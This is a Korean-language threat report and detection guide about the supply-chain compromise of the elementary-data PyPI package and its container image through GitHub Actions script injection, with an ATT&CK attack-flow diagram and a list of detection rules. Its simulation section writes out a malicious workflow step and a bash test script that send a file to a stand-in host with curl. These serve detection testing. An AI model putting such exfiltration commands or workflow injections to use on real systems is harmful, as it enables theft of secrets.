초기 데이터, 위조 GitHub 릴리스를 통해 PyPI와 GHCR에서 손상됨
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
악성 버전의 elementary-data Python 패키지, 버전 0.23.3,가 PyPI에 업로드되었고 일치하는 손상된 컨테이너 이미지가 GitHub Container Registry에 푸시되었습니다. 공격자는 GitHub Actions 워크플로우에 악성 코드를 삽입하고 서명된 릴리스를 위조한 후 워크플로우 토큰을 남용하여 백도어 아티팩트를 게시했습니다. 이 페이로드는 비밀 정보를 수집하고 이를 공격자가 제어하는 도메인으로 유출하도록 설계된 3단계 자격 증명 도난 도구로 작동했습니다. 영향을 받은 패키지를 설치하거나 최신 컨테이너 이미지를 가져온 모든 환경이 손상에 노출되었습니다.
조사
조사 결과, 공격은 워크플로우 스크립트에 직접 삽입된 공개 풀 요청의 주석에서 시작되어 스크립트 인젝션을 가능하게 했습니다. 워크플로우의 GITHUB_TOKEN을 사용하여 공격자는 위조된 릴리스 커밋을 만들고 퍼블리싱 프로세스를 트리거하여 트로이 목마화된 휠 및 Docker 이미지를 배포했습니다. 분석 결과, 악성 .pth 파일은 Base64 래퍼를 디코딩하고 최종 수집 컴포넌트를 해독하여 광범위한 자격 증명을 수집한 후 curl을 통해 사용자 정의 C2 도메인으로 보냈습니다. curl.
완화
프로젝트 메인테이너는 PyPI에서 악성 패키지 버전을 제거하고 GHCR에서 손상된 이미지를 삭제한 후 깨끗한 대체 버전을, 버전 0.23.4를 게시했습니다. StepSecurity는 악성 패키지 버전과 공격자가 제어하는 도메인을 Harden-Runner 블록리스트에 추가하고 풀 요청 실행 중에 패키지를 차단했습니다. 개발자는 패키지 버전 및 이미지 다이제스트를 정확하게 고정하고 부동 태그에 의존하는 것을 피하며 설치된 종속성을 감사하여 예기치 않은 파일을 점검해야 합니다. .pth files.
응답
수비자는 elementary.pth 가 site-packages 내에 있는지를 검색하고 의심스러운 Docker 이미지 다이제스트를 가져온 시스템을 확인해야 합니다. 알려진 C2 도메인에 대한 아웃바운드 연결을 즉시 차단해야 합니다. 보안 팀은 노출된 비밀 자료에 대해 개발자 워크스테이션과 빌드 환경을 스캔하고, 손상된 패키지를 제거하고, 영향을 받은 자격 증명을 회전해야 합니다. CI/CD 파이프라인도 패키지 이력을 검증하고 엄격한 이미지 고정을 시행하도록 업데이트해야 합니다.
graph TB %% Class Definitions Section classDef action fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Node definitions – Actions node_supply_chain[“<b>행위</b> – <b>T1195.002 공급망 침해</b><br/>공격자는 elementary-data의 악성 버전 0.23.3을 PyPI에 게시하고 프로젝트의 정상 배포 파이프라인을 사용하여 트로이 목마화된 Docker 이미지를 GHCR에 업로드한다.”] class node_supply_chain action node_exploit_cred[“<b>행위</b> – <b>T1212 자격 증명 접근을 위한 익스플로잇</b><br/>조작된 댓글을 통해 GitHub Actions 워크플로에 스크립트를 삽입하여 curl | bash 스테이저를 실행하고 GITHUB_TOKEN을 악용해 위조된 릴리스 커밋을 생성한다.”] class node_exploit_cred action node_implant_image[“<b>행위</b> – <b>T1525 내부 이미지 삽입</b><br/>악성 Docker 이미지(latest 태그)가 실행되어 지속적인 악성 환경을 제공한다.”] class node_implant_image action node_user_exec[“<b>행위</b> – <b>T1204.003 사용자 실행: 악성 이미지</b><br/>손상된 이미지로 생성된 컨테이너는 시작 시 자동으로 페이로드를 실행한다.”] class node_user_exec action node_cred_files[“<b>행위</b> – <b>T1552.001 안전하지 않은 자격 증명: 파일 내 자격 증명</b><br/>페이로드는 SSH 키, 클라우드 자격 증명, Docker 및 Kubernetes 설정 등을 수집한다.”] class node_cred_files action node_private_keys[“<b>행위</b> – <b>T1552.004 안전하지 않은 자격 증명: 개인 키</b><br/>.ssh 및 지갑 디렉토리에서 개인 키 파일을 수집한다.”] class node_private_keys action node_archive[“<b>행위</b> – <b>T1560 데이터 아카이빙</b><br/>수집된 데이터는 tar-gz로 압축된다.”] class node_archive action node_archive_lib[“<b>행위</b> – <b>T1560.002 라이브러리를 통한 아카이빙</b><br/>tar 라이브러리를 사용하여 trin.tar.gz 생성.”] class node_archive_lib action node_obfusc[“<b>행위</b> – <b>T1027.015 난독화: 압축</b><br/>.pth 파일은 base64 및 XOR-MD5로 암호화된다.”] class node_obfusc action node_pass_hash[“<b>행위</b> – <b>T1550.002 Pass-the-Hash</b><br/>XOR-MD5를 사용해 단계를 숨긴다.”] class node_pass_hash action node_exfil[“<b>행위</b> – <b>T1048 대체 프로토콜을 통한 유출</b><br/>데이터는 curl POST로 전송된다.”] class node_exfil action %% Tools tool_pypi[“<b>도구</b> – <b>이름</b>: PyPI<br/><b>유형</b>: Python 저장소”] class tool_pypi tool tool_ghcr[“<b>도구</b> – <b>이름</b>: GHCR<br/><b>유형</b>: Docker 레지스트리”] class tool_ghcr tool tool_github_actions[“<b>도구</b> – <b>이름</b>: GitHub Actions<br/><b>유형</b>: CI/CD”] class tool_github_actions tool tool_curl[“<b>도구</b> – <b>이름</b>: curl<br/><b>유형</b>: CLI”] class tool_curl tool tool_bash[“<b>도구</b> – <b>이름</b>: bash<br/><b>유형</b>: shell”] class tool_bash tool %% Malware malware_docker_image[“<b>악성코드</b> – <b>이름</b>: Docker 이미지<br/><b>태그</b>: latest”] class malware_docker_image malware malware_payload[“<b>악성코드</b> – <b>이름</b>: .pth payload<br/><b>난독화</b>: Base64 + XOR-MD5”] class malware_payload malware %% Connections unchanged node_supply_chain –>|publishes to| tool_pypi node_supply_chain –>|pushes image to| tool_ghcr tool_ghcr –>|hosts| malware_docker_image node_exploit_cred –>|injects script into| tool_github_actions tool_github_actions –>|executes| tool_curl tool_curl –>|pipes to| tool_bash tool_bash –>|runs| malware_payload malware_docker_image –>|run by| node_implant_image node_implant_image –>|triggers| node_user_exec node_user_exec –>|executes| malware_payload malware_payload –>|collects| node_cred_files node_cred_files –>|also collects| node_private_keys node_cred_files –>|passed to| node_archive node_archive –>|uses| node_archive_lib node_archive_lib –>|produces| node_obfusc node_obfusc –>|used by| node_pass_hash node_pass_hash –>|exfiltrates via| node_exfil node_exfil –>|uses| tool_curl
공격 흐름
탐지
서드 파티 서비스/도구를 통한 잠재적인 데이터 침투/유출/C2(프록시를 통해)
보기
서드 파티 서비스/도구를 통한 잠재적인 데이터 침투/유출/C2(DNS를 통해)
보기
기본 도구를 통한 원격 파일 업로드/다운로드(커맨드라인을 통해)
보기
IOC (HashSha1) 탐지를 위해: elemental-data PyPI 및 GHCR에서 손상됨: GitHub Actions 스크립트 주입을 통한 위조 릴리스 푸시
보기
GitHub Actions에 대한 스크립트 주입을 통한 악성 데이터 유출 탐지 [리눅스 프로세스 생성]
보기
자격 증명 도용자 포함한 악성 elementary-data 패키지 탐지 [리눅스 파일 이벤트]
보기
## 시뮬레이션 실행
전제조건: 텔레메트리 및 기준선 사전 비행 검사가 통과되어야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적군 기법(TTP)의 정확한 실행을 설명합니다. 명령어와 이야기체는 식별된 TTP를 직접적으로 반영하며 탐지 논리에 의해 예상되는 정확한 텔레메트리 생성을 목표로 합니다.
-
공격 내러티브 및 명령어:
공격자는 CI/CD에 GitHub Actions를 사용하는 리포지토리를 손상시켰습니다. 워크플로우 파일에 악성 단계를 추가했습니다:- name: 데이터 유출 run: | bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"워크플로우가 GitHub Actions 러너에서 실행되면 프로세스 트리는 다음과 같습니다:
sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"(부모 프로세스)curl --data-binary @/tmp/secret_data http://malicious.example.com/loot(자식 프로세스)
The
auditd2단계 기록은bashandcurl --data-binary가 포함된 명령줄을 포함하여 Sigma 조건을 충족합니다. -
회귀 테스트 스크립트:
#!/usr/bin/env bash # # 탐지 규칙을 트리거해야 하는 악성 GitHub Actions 단계를 시뮬레이션합니다. # 임시 파일을 생성하고, 더미 데이터를 작성한 후 bash에 랩핑된 curl을 통해 유출합니다. set -euo pipefail # 1. 더미 비밀 데이터 생성 tmpfile=$(mktemp /tmp/secret_data.XXXXXX) echo "sensitive_information_$(date +%s)" > "$tmpfile" # 2. 취약 패턴을 사용하여 유출 수행 bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot" # 3. 테스터를 위한 확인 출력 echo "악성 유출 시뮬레이션 완료; 임시 파일 $tmpfile은 정리에 의해 삭제되어야 합니다." -
정리 명령:
#!/usr/bin/env bash # 시뮬레이션 중에 생성된 임시 파일을 제거합니다 rm -f /tmp/secret_data.* # 선택적으로, 잔여 curl 프로세스를 중지합니다 (필요하지 않아야 함) pkill -f "curl --data-binary" || true